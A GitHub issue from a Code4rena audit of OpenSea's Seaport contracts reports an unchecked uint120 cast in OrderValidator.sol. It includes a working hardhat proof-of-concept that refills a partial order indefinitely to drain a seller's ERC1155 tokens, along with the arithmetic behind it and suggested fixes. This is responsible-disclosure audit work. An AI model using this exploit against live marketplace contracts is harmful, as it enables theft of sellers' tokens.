search

code-423n4 / 2022-05-opensea-seaport-findings

1 stars 0 forks source link

`uint120` overflow for partially fillable orders in `OrderValidator.sol` #87

Closed code423n4 closed 2 years ago

code423n4 commented 2 years ago

Lines of code

https://github.com/ProjectOpenSea/seaport/blob/49799ce156/contracts/lib/OrderValidator.sol#L228-L231

Vulnerability details

Repo commit referenced: 49799ce156d979132c9924a739ae45a38b39ecdd

Impact

In the lines OrderValidator.sol#L223-L239 where the orderStatus for an orderHash gets updated:

_orderStatus[orderHash].numerator = uint120(
    filledNumerator + numerator
);
_orderStatus[orderHash].denominator = uint120(denominator);

The contract casts values from uint256 to uint120 without checking for an overflow. This can be exploited to fulfill the same order with different fractions that sum up to more than 1 (and in fact, the sum of fractions can be made arbitrarily high). This breaks the assumption for the seller on their allocated token amount for the order. A malicious actor can target this vulnerability to almost drain the seller's token balance (the token/id used in the original validated order).

Proof of Concept

Here is a POC as a hardhat test which can be incorporated in the hardhat test file provided by this repo (since we are using some of the utility functions defined in that test file):

it("Does not revert on multiple partially filled orders with sum of fractions greater than one using advanced orders", async () => {
// for fraction 1/2^60
const n1 = toBN(1);
const d1 = ethers.BigNumber.from(2).pow(60);

// for fraction (2^60 -1)/(2^60 + 1)
const n2 = d1.sub(1);
const d2 = d1.add(1);

// M = 2^120 + 2^60
const M = d1.mul(d2);

// Seller mints nft
const { nftId, amount } = await mintAndApprove1155(
    seller,
    marketplaceContract.address,
    M.mul(4)
);

// Offer amount needs to be divisible by M
const offer = [
    getTestItem1155(nftId, M, M)
];

// Consideration amount needs to be divisible by M
const consideration = [
    getItemETH(M, M, seller.address)
];

const { order, orderHash, value } = await createOrder(
    seller,
    zone,
    offer,
    consideration,
    1 // PARTIAL_OPEN
);

let orderStatus = await marketplaceContract.getOrderStatus(orderHash);

expect({ ...orderStatus }).to.deep.equal(
    buildOrderStatus(false, false, 0, 0)
);

// fund buyer with enough ETH
// for other routes we need to make sure
// the buyer has enough ERC20 or ERC1155 tokens
await provider.send("hardhat_setBalance", [buyer.address, M.mul(10).toHexString().replace("0x0", "0x")]);

// utility function
const _buy = async (n, d) => {
    order.numerator = n; 
    order.denominator = d;

    await withBalanceChecks([order], 0, [], async () => {
    const tx = marketplaceContract
        .connect(buyer)
        .fulfillAdvancedOrder(order, [], toKey(false), {
        value,
        });
    const receipt = await (await tx).wait();
    await checkExpectedEvents(
        tx,
        receipt,
        [
        {
            order,
            orderHash,
            fulfiller: buyer.address,
            fulfillerConduitKey: toKey(false),
        },
        ],
        null,
        []
    );

    return receipt;
    });

    orderStatus = await marketplaceContract.getOrderStatus(orderHash);

    expect({ ...orderStatus }).to.deep.equal(
        // NOTE: the values below are independent 
        // of the input for our chosen factions n1/d1, n2/d2.
        buildOrderStatus(true, false, n1, d1) 
    );
}

await _buy(n1, d1);

await _buy(n2, d2);
await _buy(n2, d2);
await _buy(n2, d2);
// ...
// the buyer can keep filling orders with the
// fraction n2/d2 till they almost deplete the seller's 
// ERC1155 token balance, even passed the allocated
// amount for the originally signed/validated order
});

The chosen $\frac{n_1}{d_1} = \frac{1}{2^{60}}$ and $\frac{n_2}{d_2}=\frac{2^{60} - 1}{2^{60} + 1}$ fractions have this property that:

$$ n_1 d_2 + n_2 d_1 \equiv n1 \ (\mathrm{mod}\ 2^{120}) \ d_1 d_2 \equiv d_1 \ (\mathrm{mod}\ 2^{120}) $$

So after partially fulfilling an order with the fraction $\frac{n_1}{d_1}$, a partial fulfillment using the 2nd fraction $\frac{n_2}{d_2}$ acts as an idempotent operation which can be applied indefinitely as long as both parties have enough of their respective tokens. This means the storage variable which keeps tabs of this particular order (_orderStatus[orderHash], OrderValidator.sol#L28) will always have the value $\frac{n_1}{d_1}$ stored in its slot.

Also note:

$$ 2 \frac{n_2}{d_2} \gt 1 $$

This means a malicious buyer can exchange almost all the seller's ERC1155 token (definitely more than the allocated amount in this example, the amount is M)

The above POC can be extended to any partially fillable order route. Also, there is a family of fractions for the case of just 2 fractions. And the POC can be extended to examples with more than just 2 fraction combinations.

Tools Used

HardHat

Recommended Mitigation Steps

Make sure all the arithmetic operations regarding the update process for the new numerator and denominator are done in uint120 so that an overflow would not happen

or

check for uint120 overflows and revert.

HardlyDifficult commented 2 years ago

Dupe of #77